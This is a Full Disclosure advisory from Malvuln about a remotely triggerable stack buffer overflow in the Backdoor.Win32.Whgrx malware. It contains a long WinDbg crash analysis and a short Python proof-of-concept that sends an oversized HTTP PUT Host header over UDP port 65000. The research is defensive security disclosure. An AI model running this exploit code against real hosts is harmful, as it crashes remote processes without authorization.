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Date: Sat, 16 Jan 2021 21:35:45 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Whgrx / Remote Host Header Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/eb6fd418cd3b52132ffb029b52839edf.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Whgrx
Vulnerability: Remote Host Header Stack Buffer Overflow
Description: The specimen listens on datagram UDP port 65000, by
sending a specially crafted HTTP PUT request and specifying a large
string of characters for the HOST header we trigger the buffer
overflow overwriting stack registers. Upon running the malware it may
display a "Cannot load shared library wsocx.dll" message but still
runs normally. The exploit payload specifies both 41414141 and
42424242 pattern with 42424242 overwriting SEH and ECX register, the
42424242 pattern was target the HTTP HOST header.
Type: PE32
MD5: eb6fd418cd3b52132ffb029b52839edf
Vuln ID: MVID-2021-0030
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/16/2021

Memory Dump:
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1bb4.176c): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=42424242 edx=773e9d70 esi=042c1840 edi=042c1d04
eip=773ce916 esp=042c1788 ebp=042c1828 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwQueryInformationProcess+0x26:
773ce916 c21400          ret     14h


0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Whgrx.eb6fd418cd3b52132ffb029b52839edf.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Whgrx.eb6fd418cd3b52132ffb029b52839edf.exe

FAULTING_IP:
Backdoor_Win32_Whgrx_eb6fd418cd3b52132ffb029b52839edf+40a8
004040a8 8b4af8          mov     ecx,dword ptr [edx-8]

EXCEPTION_RECORD:  043bd8b4 -- (.exr 0x43bd8b4)
ExceptionAddress: 004040a8
(Backdoor_Win32_Whgrx_eb6fd418cd3b52132ffb029b52839edf+0x000040a8)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 4242423a
Attempt to read from address 4242423a

PROCESS_NAME:  Backdoor.Win32.Whgrx.eb6fd418cd3b52132ffb029b52839edf.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  042c0fe8

WRITE_ADDRESS:  042c0fe8

FOLLOWUP_IP:
kernel32!BaseThreadInitThunk+0
76e38630 8bff            mov     edi,edi

FAILED_INSTRUCTION_ADDRESS:
+0
42424242 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  043bd904 -- (.cxr 0x43bd904)
eax=043bfe84 ebx=00001fd3 ecx=00000000 edx=42424242 esi=026a2040 edi=00404018
eip=004040a8 esp=043bdd64 ebp=043bfe88 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Backdoor_Win32_Whgrx_eb6fd418cd3b52132ffb029b52839edf+0x40a8:
004040a8 8b4af8          mov     ecx,dword ptr [edx-8] ds:002b:4242423a=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on
thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 42424242 to 004040a8

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_42424242

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_EXPLOITABLE_FILL_PATTERN_42424242

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_EXPLOITABLE_FILL_PATTERN_42424242

IP_ON_HEAP:  42424242
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 42424242

FRAME_ONE_INVALID: 1

STACK_TEXT:
043bdd64 004040a8 backdoor_win32_whgrx+0x40a8
043bfe90 42424242 unknown!printable+0x0
043bff44 0041acef backdoor_win32_whgrx+0x1acef
043bff74 00404042 backdoor_win32_whgrx+0x4042
043bff88 76e38654 kernel32!BaseThreadInitThunk+0x24
043bff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
043bffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 00000000043BD904 ; kb ; dds 43bdd64 ; kb

SYMBOL_NAME:  kernel32!BaseThreadInitThunk+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: kernel32

IMAGE_NAME:  kernel32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  744765ce

FAILURE_BUCKET_ID:
STACK_OVERFLOW_EXPLOITABLE_FILL_PATTERN_42424242_c0000005_kernel32.dll!BaseThreadInitThunk

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_42424242_BAD_IP_kernel32!BaseThreadInitThunk+0


0:002> !exchain
042c1754: ntdll!ExecuteHandler2+44 (773e9d70)
042c1d04: ntdll!ExecuteHandler2+44 (773e9d70)
042c22b4: ntdll!ExecuteHandler2+44 (773e9d70)
042c2864: ntdll!ExecuteHandler2+44 (773e9d70)
042c2e14: ntdll!ExecuteHandler2+44 (773e9d70)
042c33c4: ntdll!ExecuteHandler2+44 (773e9d70)
042c3974: ntdll!ExecuteHandler2+44 (773e9d70)
042c3f24: ntdll!ExecuteHandler2+44 (773e9d70)
042c44d4: ntdll!ExecuteHandler2+44 (773e9d70)
042c4a84: ntdll!ExecuteHandler2+44 (773e9d70)
042c5034: ntdll!ExecuteHandler2+44 (773e9d70)
042c55e4: ntdll!ExecuteHandler2+44 (773e9d70)
042c5b94: ntdll!ExecuteHandler2+44 (773e9d70)
042c6144: ntdll!ExecuteHandler2+44 (773e9d70)
042c66f4: ntdll!ExecuteHandler2+44 (773e9d70)
042c6ca4: ntdll!ExecuteHandler2+44 (773e9d70)
042c7254: ntdll!ExecuteHandler2+44 (773e9d70)
042c7804: ntdll!ExecuteHandler2+44 (773e9d70)
042c7db4: ntdll!ExecuteHandler2+44 (773e9d70)
042c8364: ntdll!ExecuteHandler2+44 (773e9d70)
042c8914: ntdll!ExecuteHandler2+44 (773e9d70)
042c8ec4: ntdll!ExecuteHandler2+44 (773e9d70)
042c9474: ntdll!ExecuteHandler2+44 (773e9d70)
042c9a24: ntdll!ExecuteHandler2+44 (773e9d70)
042c9fd4: ntdll!ExecuteHandler2+44 (773e9d70)
042ca584: ntdll!ExecuteHandler2+44 (773e9d70)
042cab34: ntdll!ExecuteHandler2+44 (773e9d70)
042cb0e4: ntdll!ExecuteHandler2+44 (773e9d70)
042cb694: ntdll!ExecuteHandler2+44 (773e9d70)
042cbc44: ntdll!ExecuteHandler2+44 (773e9d70)
042cc1f4: ntdll!ExecuteHandler2+44 (773e9d70)
042cc7a4: ntdll!ExecuteHandler2+44 (773e9d70)
042ccd54: ntdll!ExecuteHandler2+44 (773e9d70)
042cd304: ntdll!ExecuteHandler2+44 (773e9d70)
042cd8b4: ntdll!ExecuteHandler2+44 (773e9d70)
042cde64: ntdll!ExecuteHandler2+44 (773e9d70)
042ce414: ntdll!ExecuteHandler2+44 (773e9d70)
042ce9c4: ntdll!ExecuteHandler2+44 (773e9d70)
042cef74: ntdll!ExecuteHandler2+44 (773e9d70)
042cf524: ntdll!ExecuteHandler2+44 (773e9d70)
042cfad4: ntdll!ExecuteHandler2+44 (773e9d70)
042d0084: ntdll!ExecuteHandler2+44 (773e9d70)
042d0634: ntdll!ExecuteHandler2+44 (773e9d70)
042d0be4: ntdll!ExecuteHandler2+44 (773e9d70)
042d1194: ntdll!ExecuteHandler2+44 (773e9d70)
042d1744: ntdll!ExecuteHandler2+44 (773e9d70)
042d1cf4: ntdll!ExecuteHandler2+44 (773e9d70)
042d22a4: ntdll!ExecuteHandler2+44 (773e9d70)
042d2854: ntdll!ExecuteHandler2+44 (773e9d70)
042d2e04: ntdll!ExecuteHandler2+44 (773e9d70)
042d33b4: ntdll!ExecuteHandler2+44 (773e9d70)
042d3964: ntdll!ExecuteHandler2+44 (773e9d70)
042d3f14: ntdll!ExecuteHandler2+44 (773e9d70)
042d44c4: ntdll!ExecuteHandler2+44 (773e9d70)
042d4a74: ntdll!ExecuteHandler2+44 (773e9d70)
042d5024: ntdll!ExecuteHandler2+44 (773e9d70)
042d55d4: ntdll!ExecuteHandler2+44 (773e9d70)
042d5b84: ntdll!ExecuteHandler2+44 (773e9d70)
042d6134: ntdll!ExecuteHandler2+44 (773e9d70)
042d66e4: ntdll!ExecuteHandler2+44 (773e9d70)
042d6c94: ntdll!ExecuteHandler2+44 (773e9d70)
042d7244: ntdll!ExecuteHandler2+44 (773e9d70)
042d77f4: ntdll!ExecuteHandler2+44 (773e9d70)
042d7da4: ntdll!ExecuteHandler2+44 (773e9d70)
042d8354: ntdll!ExecuteHandler2+44 (773e9d70)
042d8904: ntdll!ExecuteHandler2+44 (773e9d70)
042d8eb4: ntdll!ExecuteHandler2+44 (773e9d70)
042d9464: ntdll!ExecuteHandler2+44 (773e9d70)
042d9a14: ntdll!ExecuteHandler2+44 (773e9d70)
042d9fc4: ntdll!ExecuteHandler2+44 (773e9d70)
042da574: ntdll!ExecuteHandler2+44 (773e9d70)
042dab24: ntdll!ExecuteHandler2+44 (773e9d70)
042db0d4: ntdll!ExecuteHandler2+44 (773e9d70)
042db684: ntdll!ExecuteHandler2+44 (773e9d70)
042dbc34: ntdll!ExecuteHandler2+44 (773e9d70)
042dc1e4: ntdll!ExecuteHandler2+44 (773e9d70)
042dc794: ntdll!ExecuteHandler2+44 (773e9d70)
042dcd44: ntdll!ExecuteHandler2+44 (773e9d70)
042dd2f4: ntdll!ExecuteHandler2+44 (773e9d70)
042dd8a4: ntdll!ExecuteHandler2+44 (773e9d70)
042dde54: ntdll!ExecuteHandler2+44 (773e9d70)
042de404: ntdll!ExecuteHandler2+44 (773e9d70)
042de9b4: ntdll!ExecuteHandler2+44 (773e9d70)
042def64: ntdll!ExecuteHandler2+44 (773e9d70)
042df514: ntdll!ExecuteHandler2+44 (773e9d70)
042dfac4: ntdll!ExecuteHandler2+44 (773e9d70)
042e0074: ntdll!ExecuteHandler2+44 (773e9d70)
042e0624: ntdll!ExecuteHandler2+44 (773e9d70)
042e0bd4: ntdll!ExecuteHandler2+44 (773e9d70)
042e1184: ntdll!ExecuteHandler2+44 (773e9d70)
042e1734: ntdll!ExecuteHandler2+44 (773e9d70)
042e1ce4: ntdll!ExecuteHandler2+44 (773e9d70)
042e2294: ntdll!ExecuteHandler2+44 (773e9d70)
042e2844: ntdll!ExecuteHandler2+44 (773e9d70)
042e2df4: ntdll!ExecuteHandler2+44 (773e9d70)
042e33a4: ntdll!ExecuteHandler2+44 (773e9d70)
042e3954: ntdll!ExecuteHandler2+44 (773e9d70)
042e3f04: ntdll!ExecuteHandler2+44 (773e9d70)
042e44b4: ntdll!ExecuteHandler2+44 (773e9d70)
042e4a64: ntdll!ExecuteHandler2+44 (773e9d70)
042e5014: ntdll!ExecuteHandler2+44 (773e9d70)
042e55c4: ntdll!ExecuteHandler2+44 (773e9d70)
042e5b74: ntdll!ExecuteHandler2+44 (773e9d70)
042e6124: ntdll!ExecuteHandler2+44 (773e9d70)
042e66d4: ntdll!ExecuteHandler2+44 (773e9d70)
042e6c84: ntdll!ExecuteHandler2+44 (773e9d70)
042e7234: ntdll!ExecuteHandler2+44 (773e9d70)
042e77e4: ntdll!ExecuteHandler2+44 (773e9d70)
042e7d94: ntdll!ExecuteHandler2+44 (773e9d70)
042e8344: ntdll!ExecuteHandler2+44 (773e9d70)
042e88f4: ntdll!ExecuteHandler2+44 (773e9d70)
042e8ea4: ntdll!ExecuteHandler2+44 (773e9d70)
042e9454: ntdll!ExecuteHandler2+44 (773e9d70)
042e9a04: ntdll!ExecuteHandler2+44 (773e9d70)
042e9fb4: ntdll!ExecuteHandler2+44 (773e9d70)
042ea564: ntdll!ExecuteHandler2+44 (773e9d70)
042eab14: ntdll!ExecuteHandler2+44 (773e9d70)
042eb0c4: ntdll!ExecuteHandler2+44 (773e9d70)
042eb674: ntdll!ExecuteHandler2+44 (773e9d70)
042ebc24: ntdll!ExecuteHandler2+44 (773e9d70)
042ec1d4: ntdll!ExecuteHandler2+44 (773e9d70)
042ec784: ntdll!ExecuteHandler2+44 (773e9d70)
042ecd34: ntdll!ExecuteHandler2+44 (773e9d70)
042ed2e4: ntdll!ExecuteHandler2+44 (773e9d70)
042ed894: ntdll!ExecuteHandler2+44 (773e9d70)
042ede44: ntdll!ExecuteHandler2+44 (773e9d70)
042ee3f4: ntdll!ExecuteHandler2+44 (773e9d70)
042ee9a4: ntdll!ExecuteHandler2+44 (773e9d70)
042eef54: ntdll!ExecuteHandler2+44 (773e9d70)
042ef504: ntdll!ExecuteHandler2+44 (773e9d70)
042efab4: ntdll!ExecuteHandler2+44 (773e9d70)
042f0064: ntdll!ExecuteHandler2+44 (773e9d70)
042f0614: ntdll!ExecuteHandler2+44 (773e9d70)
042f0bc4: ntdll!ExecuteHandler2+44 (773e9d70)
042f1174: ntdll!ExecuteHandler2+44 (773e9d70)
042f1724: ntdll!ExecuteHandler2+44 (773e9d70)
042f1cd4: ntdll!ExecuteHandler2+44 (773e9d70)
042f2284: ntdll!ExecuteHandler2+44 (773e9d70)
042f2834: ntdll!ExecuteHandler2+44 (773e9d70)
042f2de4: ntdll!ExecuteHandler2+44 (773e9d70)
042f3394: ntdll!ExecuteHandler2+44 (773e9d70)
042f3944: ntdll!ExecuteHandler2+44 (773e9d70)
042f3ef4: ntdll!ExecuteHandler2+44 (773e9d70)
042f44a4: ntdll!ExecuteHandler2+44 (773e9d70)
042f4a54: ntdll!ExecuteHandler2+44 (773e9d70)
042f5004: ntdll!ExecuteHandler2+44 (773e9d70)
042f55b4: ntdll!ExecuteHandler2+44 (773e9d70)
042f5b64: ntdll!ExecuteHandler2+44 (773e9d70)
042f6114: ntdll!ExecuteHandler2+44 (773e9d70)
042f66c4: ntdll!ExecuteHandler2+44 (773e9d70)
042f6c74: ntdll!ExecuteHandler2+44 (773e9d70)
042f7224: ntdll!ExecuteHandler2+44 (773e9d70)
042f77d4: ntdll!ExecuteHandler2+44 (773e9d70)
042f7d84: ntdll!ExecuteHandler2+44 (773e9d70)
042f8334: ntdll!ExecuteHandler2+44 (773e9d70)
042f88e4: ntdll!ExecuteHandler2+44 (773e9d70)
042f8e94: ntdll!ExecuteHandler2+44 (773e9d70)
042f9444: ntdll!ExecuteHandler2+44 (773e9d70)
042f99f4: ntdll!ExecuteHandler2+44 (773e9d70)
042f9fa4: ntdll!ExecuteHandler2+44 (773e9d70)
042fa554: ntdll!ExecuteHandler2+44 (773e9d70)
042fab04: ntdll!ExecuteHandler2+44 (773e9d70)
042fb0b4: ntdll!ExecuteHandler2+44 (773e9d70)
042fb664: ntdll!ExecuteHandler2+44 (773e9d70)
042fbc14: ntdll!ExecuteHandler2+44 (773e9d70)
042fc1c4: ntdll!ExecuteHandler2+44 (773e9d70)
042fc774: ntdll!ExecuteHandler2+44 (773e9d70)
042fcd24: ntdll!ExecuteHandler2+44 (773e9d70)
042fd2d4: ntdll!ExecuteHandler2+44 (773e9d70)
042fd884: ntdll!ExecuteHandler2+44 (773e9d70)
042fde34: ntdll!ExecuteHandler2+44 (773e9d70)
042fe3e4: ntdll!ExecuteHandler2+44 (773e9d70)
042fe994: ntdll!ExecuteHandler2+44 (773e9d70)
042fef44: ntdll!ExecuteHandler2+44 (773e9d70)
042ff4f4: ntdll!ExecuteHandler2+44 (773e9d70)
042ffaa4: ntdll!ExecuteHandler2+44 (773e9d70)
04300054: ntdll!ExecuteHandler2+44 (773e9d70)
04300604: ntdll!ExecuteHandler2+44 (773e9d70)
04300bb4: ntdll!ExecuteHandler2+44 (773e9d70)
04301164: ntdll!ExecuteHandler2+44 (773e9d70)
04301714: ntdll!ExecuteHandler2+44 (773e9d70)
04301cc4: ntdll!ExecuteHandler2+44 (773e9d70)
04302274: ntdll!ExecuteHandler2+44 (773e9d70)
04302824: ntdll!ExecuteHandler2+44 (773e9d70)
04302dd4: ntdll!ExecuteHandler2+44 (773e9d70)
04303384: ntdll!ExecuteHandler2+44 (773e9d70)
04303934: ntdll!ExecuteHandler2+44 (773e9d70)
04303ee4: ntdll!ExecuteHandler2+44 (773e9d70)
04304494: ntdll!ExecuteHandler2+44 (773e9d70)
04304a44: ntdll!ExecuteHandler2+44 (773e9d70)
04304ff4: ntdll!ExecuteHandler2+44 (773e9d70)
043055a4: ntdll!ExecuteHandler2+44 (773e9d70)
04305b54: ntdll!ExecuteHandler2+44 (773e9d70)
04306104: ntdll!ExecuteHandler2+44 (773e9d70)
043066b4: ntdll!ExecuteHandler2+44 (773e9d70)
04306c64: ntdll!ExecuteHandler2+44 (773e9d70)
04307214: ntdll!ExecuteHandler2+44 (773e9d70)
043077c4: ntdll!ExecuteHandler2+44 (773e9d70)
04307d74: ntdll!ExecuteHandler2+44 (773e9d70)
04308324: ntdll!ExecuteHandler2+44 (773e9d70)
043088d4: ntdll!ExecuteHandler2+44 (773e9d70)
04308e84: ntdll!ExecuteHandler2+44 (773e9d70)
04309434: ntdll!ExecuteHandler2+44 (773e9d70)
043099e4: ntdll!ExecuteHandler2+44 (773e9d70)
04309f94: ntdll!ExecuteHandler2+44 (773e9d70)
0430a544: ntdll!ExecuteHandler2+44 (773e9d70)
0430aaf4: ntdll!ExecuteHandler2+44 (773e9d70)
0430b0a4: ntdll!ExecuteHandler2+44 (773e9d70)
0430b654: ntdll!ExecuteHandler2+44 (773e9d70)
0430bc04: ntdll!ExecuteHandler2+44 (773e9d70)
0430c1b4: ntdll!ExecuteHandler2+44 (773e9d70)
0430c764: ntdll!ExecuteHandler2+44 (773e9d70)
0430cd14: ntdll!ExecuteHandler2+44 (773e9d70)
0430d2c4: ntdll!ExecuteHandler2+44 (773e9d70)
0430d874: ntdll!ExecuteHandler2+44 (773e9d70)
0430de24: ntdll!ExecuteHandler2+44 (773e9d70)
0430e3d4: ntdll!ExecuteHandler2+44 (773e9d70)
0430e984: ntdll!ExecuteHandler2+44 (773e9d70)
0430ef34: ntdll!ExecuteHandler2+44 (773e9d70)
0430f4e4: ntdll!ExecuteHandler2+44 (773e9d70)
0430fa94: ntdll!ExecuteHandler2+44 (773e9d70)
04310044: ntdll!ExecuteHandler2+44 (773e9d70)
043105f4: ntdll!ExecuteHandler2+44 (773e9d70)
04310ba4: ntdll!ExecuteHandler2+44 (773e9d70)
04311154: ntdll!ExecuteHandler2+44 (773e9d70)
04311704: ntdll!ExecuteHandler2+44 (773e9d70)
04311cb4: ntdll!ExecuteHandler2+44 (773e9d70)
04312264: ntdll!ExecuteHandler2+44 (773e9d70)
04312814: ntdll!ExecuteHandler2+44 (773e9d70)
04312dc4: ntdll!ExecuteHandler2+44 (773e9d70)
04313374: ntdll!ExecuteHandler2+44 (773e9d70)
04313924: ntdll!ExecuteHandler2+44 (773e9d70)
04313ed4: ntdll!ExecuteHandler2+44 (773e9d70)
04314484: ntdll!ExecuteHandler2+44 (773e9d70)
04314a34: ntdll!ExecuteHandler2+44 (773e9d70)
04314fe4: ntdll!ExecuteHandler2+44 (773e9d70)
04315594: ntdll!ExecuteHandler2+44 (773e9d70)
04315b44: ntdll!ExecuteHandler2+44 (773e9d70)
043160f4: ntdll!ExecuteHandler2+44 (773e9d70)
043166a4: ntdll!ExecuteHandler2+44 (773e9d70)
04316c54: ntdll!ExecuteHandler2+44 (773e9d70)
04317204: ntdll!ExecuteHandler2+44 (773e9d70)
043177b4: ntdll!ExecuteHandler2+44 (773e9d70)
04317d64: ntdll!ExecuteHandler2+44 (773e9d70)
04318314: ntdll!ExecuteHandler2+44 (773e9d70)
043188c4: ntdll!ExecuteHandler2+44 (773e9d70)
04318e74: ntdll!ExecuteHandler2+44 (773e9d70)
04319424: ntdll!ExecuteHandler2+44 (773e9d70)
043199d4: ntdll!ExecuteHandler2+44 (773e9d70)
04319f84: ntdll!ExecuteHandler2+44 (773e9d70)
0431a534: ntdll!ExecuteHandler2+44 (773e9d70)
0431aae4: ntdll!ExecuteHandler2+44 (773e9d70)
0431b094: ntdll!ExecuteHandler2+44 (773e9d70)
0431b644: ntdll!ExecuteHandler2+44 (773e9d70)
0431bbf4: ntdll!ExecuteHandler2+44 (773e9d70)
0431c1a4: ntdll!ExecuteHandler2+44 (773e9d70)
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04397ce4: ntdll!ExecuteHandler2+44 (773e9d70)
04398294: ntdll!ExecuteHandler2+44 (773e9d70)
04398844: ntdll!ExecuteHandler2+44 (773e9d70)
04398df4: ntdll!ExecuteHandler2+44 (773e9d70)
043993a4: ntdll!ExecuteHandler2+44 (773e9d70)
04399954: ntdll!ExecuteHandler2+44 (773e9d70)
04399f04: ntdll!ExecuteHandler2+44 (773e9d70)
0439a4b4: ntdll!ExecuteHandler2+44 (773e9d70)
0439aa64: ntdll!ExecuteHandler2+44 (773e9d70)
0439b014: ntdll!ExecuteHandler2+44 (773e9d70)
0439b5c4: ntdll!ExecuteHandler2+44 (773e9d70)
0439bb74: ntdll!ExecuteHandler2+44 (773e9d70)
0439c124: ntdll!ExecuteHandler2+44 (773e9d70)
0439c6d4: ntdll!ExecuteHandler2+44 (773e9d70)
0439cc84: ntdll!ExecuteHandler2+44 (773e9d70)
0439d234: ntdll!ExecuteHandler2+44 (773e9d70)
0439d7e4: ntdll!ExecuteHandler2+44 (773e9d70)
0439dd94: ntdll!ExecuteHandler2+44 (773e9d70)
0439e344: ntdll!ExecuteHandler2+44 (773e9d70)
0439e8f4: ntdll!ExecuteHandler2+44 (773e9d70)
0439eea4: ntdll!ExecuteHandler2+44 (773e9d70)
0439f454: ntdll!ExecuteHandler2+44 (773e9d70)
0439fa04: ntdll!ExecuteHandler2+44 (773e9d70)
0439ffb4: ntdll!ExecuteHandler2+44 (773e9d70)
043a0564: ntdll!ExecuteHandler2+44 (773e9d70)
043a0b14: ntdll!ExecuteHandler2+44 (773e9d70)
043a10c4: ntdll!ExecuteHandler2+44 (773e9d70)
043a1674: ntdll!ExecuteHandler2+44 (773e9d70)
043a1c24: ntdll!ExecuteHandler2+44 (773e9d70)
043a21d4: ntdll!ExecuteHandler2+44 (773e9d70)
043a2784: ntdll!ExecuteHandler2+44 (773e9d70)
043a2d34: ntdll!ExecuteHandler2+44 (773e9d70)
043a32e4: ntdll!ExecuteHandler2+44 (773e9d70)
043a3894: ntdll!ExecuteHandler2+44 (773e9d70)
043a3e44: ntdll!ExecuteHandler2+44 (773e9d70)
043a43f4: ntdll!ExecuteHandler2+44 (773e9d70)
043a49a4: ntdll!ExecuteHandler2+44 (773e9d70)
043a4f54: ntdll!ExecuteHandler2+44 (773e9d70)
043a5504: ntdll!ExecuteHandler2+44 (773e9d70)
043a5ab4: ntdll!ExecuteHandler2+44 (773e9d70)
043a6064: ntdll!ExecuteHandler2+44 (773e9d70)
043a6614: ntdll!ExecuteHandler2+44 (773e9d70)
043a6bc4: ntdll!ExecuteHandler2+44 (773e9d70)
043a7174: ntdll!ExecuteHandler2+44 (773e9d70)
043a7724: ntdll!ExecuteHandler2+44 (773e9d70)
043a7cd4: ntdll!ExecuteHandler2+44 (773e9d70)
043a8284: ntdll!ExecuteHandler2+44 (773e9d70)
043a8834: ntdll!ExecuteHandler2+44 (773e9d70)
043a8de4: ntdll!ExecuteHandler2+44 (773e9d70)
043a9394: ntdll!ExecuteHandler2+44 (773e9d70)
043a9944: ntdll!ExecuteHandler2+44 (773e9d70)
043a9ef4: ntdll!ExecuteHandler2+44 (773e9d70)
043aa4a4: ntdll!ExecuteHandler2+44 (773e9d70)
043aaa54: ntdll!ExecuteHandler2+44 (773e9d70)
043ab004: ntdll!ExecuteHandler2+44 (773e9d70)
043ab5b4: ntdll!ExecuteHandler2+44 (773e9d70)
043abb64: ntdll!ExecuteHandler2+44 (773e9d70)
043ac114: ntdll!ExecuteHandler2+44 (773e9d70)
043ac6c4: ntdll!ExecuteHandler2+44 (773e9d70)
043acc74: ntdll!ExecuteHandler2+44 (773e9d70)
043ad224: ntdll!ExecuteHandler2+44 (773e9d70)
043ad7d4: ntdll!ExecuteHandler2+44 (773e9d70)
043add84: ntdll!ExecuteHandler2+44 (773e9d70)
043ae334: ntdll!ExecuteHandler2+44 (773e9d70)
043ae8e4: ntdll!ExecuteHandler2+44 (773e9d70)
043aee94: ntdll!ExecuteHandler2+44 (773e9d70)
043af444: ntdll!ExecuteHandler2+44 (773e9d70)
043af9f4: ntdll!ExecuteHandler2+44 (773e9d70)
043affa4: ntdll!ExecuteHandler2+44 (773e9d70)
043b0554: ntdll!ExecuteHandler2+44 (773e9d70)
043b0b04: ntdll!ExecuteHandler2+44 (773e9d70)
043b10b4: ntdll!ExecuteHandler2+44 (773e9d70)
043b1664: ntdll!ExecuteHandler2+44 (773e9d70)
043b1c14: ntdll!ExecuteHandler2+44 (773e9d70)
043b21c4: ntdll!ExecuteHandler2+44 (773e9d70)
043b2774: ntdll!ExecuteHandler2+44 (773e9d70)
043b2d24: ntdll!ExecuteHandler2+44 (773e9d70)
043b32d4: ntdll!ExecuteHandler2+44 (773e9d70)
043b3884: ntdll!ExecuteHandler2+44 (773e9d70)
043b3e34: ntdll!ExecuteHandler2+44 (773e9d70)
043b43e4: ntdll!ExecuteHandler2+44 (773e9d70)
043b4994: ntdll!ExecuteHandler2+44 (773e9d70)
043b4f44: ntdll!ExecuteHandler2+44 (773e9d70)
043b54f4: ntdll!ExecuteHandler2+44 (773e9d70)
043b5aa4: ntdll!ExecuteHandler2+44 (773e9d70)
043b6054: ntdll!ExecuteHandler2+44 (773e9d70)
043b6604: ntdll!ExecuteHandler2+44 (773e9d70)
043b6bb4: ntdll!ExecuteHandler2+44 (773e9d70)
043b7164: ntdll!ExecuteHandler2+44 (773e9d70)
043b7714: ntdll!ExecuteHandler2+44 (773e9d70)
043b7cc4: ntdll!ExecuteHandler2+44 (773e9d70)
043b8274: ntdll!ExecuteHandler2+44 (773e9d70)
043b8824: ntdll!ExecuteHandler2+44 (773e9d70)
043b8dd4: ntdll!ExecuteHandler2+44 (773e9d70)
043b9384: ntdll!ExecuteHandler2+44 (773e9d70)
043b9934: ntdll!ExecuteHandler2+44 (773e9d70)
043b9ee4: ntdll!ExecuteHandler2+44 (773e9d70)
043ba494: ntdll!ExecuteHandler2+44 (773e9d70)
043baa44: ntdll!ExecuteHandler2+44 (773e9d70)
043baff4: ntdll!ExecuteHandler2+44 (773e9d70)
043bb5a4: ntdll!ExecuteHandler2+44 (773e9d70)
043bbb54: ntdll!ExecuteHandler2+44 (773e9d70)
043bc104: ntdll!ExecuteHandler2+44 (773e9d70)
043bc6b4: ntdll!ExecuteHandler2+44 (773e9d70)
043bcc64: ntdll!ExecuteHandler2+44 (773e9d70)
043bd214: ntdll!ExecuteHandler2+44 (773e9d70)
043bd7c4: ntdll!ExecuteHandler2+44 (773e9d70)
043bdd68: Backdoor_Win32_Whgrx_eb6fd418cd3b52132ffb029b52839edf+74a40 (00474a40)
043bfeac: 42424242
Invalid exception stack at 42424242


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=65000

def doit():
    #UDP Protocol
    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PACKO="PUT /"+"A"*6000+ "HTTP/1.1\r\nHost: "+"B"*2126

    s.send(PACKO)
    s.close()
    print("Backdoor.Win32.Whgrx / Remote Host Header Stack Buffer Overflow");
    print("MD5: eb6fd418cd3b52132ffb029b52839edf");
    print("By Malvuln");

if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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